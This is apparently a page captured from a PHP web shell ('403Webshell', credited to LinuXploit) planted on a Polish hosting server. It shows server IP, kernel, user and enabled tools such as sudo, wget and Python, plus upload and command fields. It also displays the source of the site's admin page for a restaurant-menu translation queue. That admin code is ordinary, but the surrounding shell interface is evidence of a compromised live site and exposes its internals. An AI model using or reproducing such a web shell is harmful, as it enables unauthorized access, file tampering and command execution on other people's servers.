403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/admin/polana-v15-menu.php
<?php
declare(strict_types=1);
require_once dirname(__DIR__).'/includes/functions.php';
require_admin_role();
require_once dirname(__DIR__).'/includes/polana_v15_menu_queue.php';
$notice='';$error='';
try{v9_init();}catch(Throwable $e){$error=$e->getMessage();}
$menus=p15_active_menu_ids();
$id=(int)($_POST['menu_id']??$_GET['menu_id']??array_key_first($menus)??0);
if(!isset($menus[$id]) && $menus)$id=(int)array_key_first($menus);
if(($_SERVER['REQUEST_METHOD']??'')==='POST'){
 verify_csrf();
 try{
  $action=(string)($_POST['action']??'');
  $langs=$_POST['lang']??[];if(!is_array($langs))$langs=[];
  if($action==='scan'){
   $r=p15_scan_menu($id,$langs,false);
   $notice='Dodano do tłumaczenia: '.$r['created'].', brakuje w bazie: '.$r['missing'].', pominięto istniejące: '.$r['skipped'];
  }elseif($action==='force'){
   if(($_POST['force_confirm']??'')!=='TAK')throw new RuntimeException('Zaznacz potwierdzenie ponownego tłumaczenia');
   $r=p15_scan_menu($id,$langs,true);
   $notice='Do ponownego tłumaczenia: '.$r['created'].'. Wersje publiczne NIE są nadpisywane do zatwierdzenia.';
  }elseif($action==='reset_failures'){
   $q=db()->prepare("UPDATE tklm_v9_jobs j LEFT JOIN menu_categories c ON j.entity='menu_categories' AND c.id=j.entity_id LEFT JOIN menu_items i ON j.entity='menu_items' AND i.id=j.entity_id SET j.attempts=0 WHERE j.status='pending' AND j.attempts>=5 AND (c.menu_id=? OR i.category_id IN (SELECT id FROM menu_categories WHERE menu_id=?))");
   $q->execute([$id,$id]);$notice='Wznowiono błędne zadania: '.$q->rowCount();
  }
 }catch(Throwable $e){$error=$e->getMessage();}
}
$stats=$id?p15_menu_queue_stats($id):null;
render_admin_header('Polana V15 — Menu PL EN DE ES');
?>
<main style="max-width:1100px;margin:25px auto;padding:16px">
<h1>Menu — automatyczne języki PL / EN / DE / ES</h1>
<p>Jeden język = wyłącznie jego kolumny w MariaDB. Brakujący tekst pozostaje po polsku do zatwierdzenia. Tłumaczymy w otwartej karcie, bez crona.</p>
<?php if($error):?><p style="color:#a22"><?=e($error)?></p><?php endif;?>
<?php if($notice):?><p style="color:#175e28"><?=e($notice)?></p><?php endif;?>
<?php if(!$menus):?><p>Brak aktywnych opublikowanych kart. Opublikuj menu w panelu.</p><?php else:?>
<form method="get"><label>Karta: <select name="menu_id" onchange="this.form.submit()">
<?php foreach($menus as $key=>$m):?><option value="<?=$key?>" <?=$id===$key?'selected':''?>><?=e(strtoupper((string)$m['menu_type']).' — '.$m['name'].' #'.$key)?></option><?php endforeach;?></select></label></form>
<?php if($stats):?>
<h2>Kompletność tłumaczeń w bazie</h2>
<table style="width:100%;border-collapse:collapse;text-align:left"><thead><tr><th>Język</th><th>Wymagane pola</th><th>Braki</th></tr></thead><tbody>
<?php foreach($stats['fields'] as $lang=>$r):?><tr><td><?=e(strtoupper($lang))?></td><td><?=$r['total']?></td><td><?=$r['missing']?></td></tr><?php endforeach;?></tbody></table>
<p id="p15-status" style="padding:12px;background:#f3f3ee;border-radius:9px">Kolejka: oczekuje <b><?=$stats['eligible']?></b>, do zatwierdzenia <b><?=$stats['review']?></b>, błędy <b><?=$stats['failed']?></b>.</p>
<form method="post" id="p15-scan" style="padding:15px;border:1px solid #ddd;border-radius:10px;margin:20px 0">
<?=csrf_field()?><input type="hidden" name="menu_id" value="<?=$id?>">
<strong>Języki do uzupełnienia:</strong>
<?php foreach(['en','de','es'] as $lang):?><label style="margin:0 10px"><input type="checkbox" name="lang[]" value="<?=$lang?>" checked> <?=strtoupper($lang)?></label><?php endforeach;?><p>
<button type="submit" name="action" value="scan">Zbierz brakujące i zmienione tłumaczenia</button></p>
<p><button type="submit" name="action" value="force" onclick="return confirm('Ponowić WSZYSTKIE pozycje wybranych języków? Wymagane ponowne zatwierdzenie.')">Ponów całą kartę w wybranych językach</button>
<label><input type="checkbox" name="force_confirm" value="TAK"> Potwierdzam ponowne tłumaczenie</label></p>
</form>
<div style="padding:15px;border:1px solid #ddd;border-radius:10px">
<button type="button" id="p15-start">▶ Zbierz i przetłumacz WSZYSTKIE karty</button>
<button type="button" id="p15-stop" disabled>■ Zatrzymaj</button>
<button type="button" onclick="location.reload()">Odśwież stan</button>
<button type="button" onclick="location.href='/admin/polana-v15-menu-review.php'">Popraw i zatwierdź zbiorczo</button>
<button type="button" onclick="location.href='/admin/v9-review.php'">Starszy panel kolejki</button>
<button type="submit" form="p15-reset" style="margin-top:10px">Ponów zadania z błędami</button>
<div id="p15-progress" role="status" aria-live="polite" style="margin-top:10px"></div>
</div>
<form method="post" id="p15-reset"><?=csrf_field()?><input type="hidden" name="menu_id" value="<?=$id?>"><input type="hidden" name="action" value="reset_failures"></form>
<h2>Sprawdź publiczne karty</h2>
<p>
<?php foreach(['pl','en','de','es'] as $lang):?>
<a style="margin-right:13px" target="_blank" rel="noopener" href="<?=e(($lang==='pl'?'':'/'.$lang).'/menu?kind='.rawurlencode((string)$menus[$id]['menu_type']).'&lang='.$lang)?>"><?=strtoupper($lang)?></a>
<?php endforeach; ?></p>
<script>
(()=>{
 let running=false,errors=0;
 const start=document.querySelector('#p15-start'),stop=document.querySelector('#p15-stop'),msg=document.querySelector('#p15-progress'),summary=document.querySelector('#p15-status');
 const token=document.querySelector('#p15-scan input[name="csrf_token"]').value;
 const menuIds=<?=json_encode(array_map('intval',array_keys($menus)))?>;
 function wait(ms){return new Promise(resolve=>setTimeout(resolve,ms));}
 stop.onclick=()=>{running=false;msg.textContent='Zatrzymano. Wyniki zapisano w MariaDB.'};
 async function request(action,menuId){
   const body=new URLSearchParams({csrf_token:token,action,menu_id:String(menuId)});
   const response=await fetch('/admin/polana-v15-menu-api.php',{method:'POST',body,credentials:'same-origin',headers:{'Accept':'application/json'}});
   if(!response.ok)throw new Error('HTTP '+response.status);
   const data=await response.json();if(!data.ok)throw new Error(data.error||'Błąd API');
   return data;
 }
 start.onclick=async()=>{
   if(running)return;running=true;errors=0;start.disabled=true;stop.disabled=false;
   let processed=0;
   try{
    msg.textContent='Skanuję wszystkie opublikowane karty i wykrywam zmienione pola…';
    await request('scan_all',0);
    for(const menuId of menuIds){
      if(!running)break;
      while(running){
        const data=await request('tick',menuId);
        const x=data.result||{},stats=data.stats||{};
        if(x.empty || (stats.eligible||0)===0)break;
        if(x.busy){await wait(1000);continue;}
        processed++;
        if(x.error){errors++;if(errors>=3)throw new Error('Trzy kolejne błędy API; zatrzymano.');}
        else errors=0;
        msg.textContent='Przetworzono '+processed+' pól. Karta #'+menuId+' · pozostało: '+stats.eligible+' · do akceptacji: '+stats.review;
        await wait(450);
      }
    }
    if(running){msg.textContent='Koniec tłumaczenia kart. Przejdź do masowego zatwierdzania; odśwież stronę dla nowych liczników.';}
   }catch(e){msg.textContent='Nie udało się kontynuować: '+e.message;}
   finally{running=false;start.disabled=false;stop.disabled=true;}
 };
})();
</script>
<?php endif;endif;?>
</main>
<?php render_admin_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit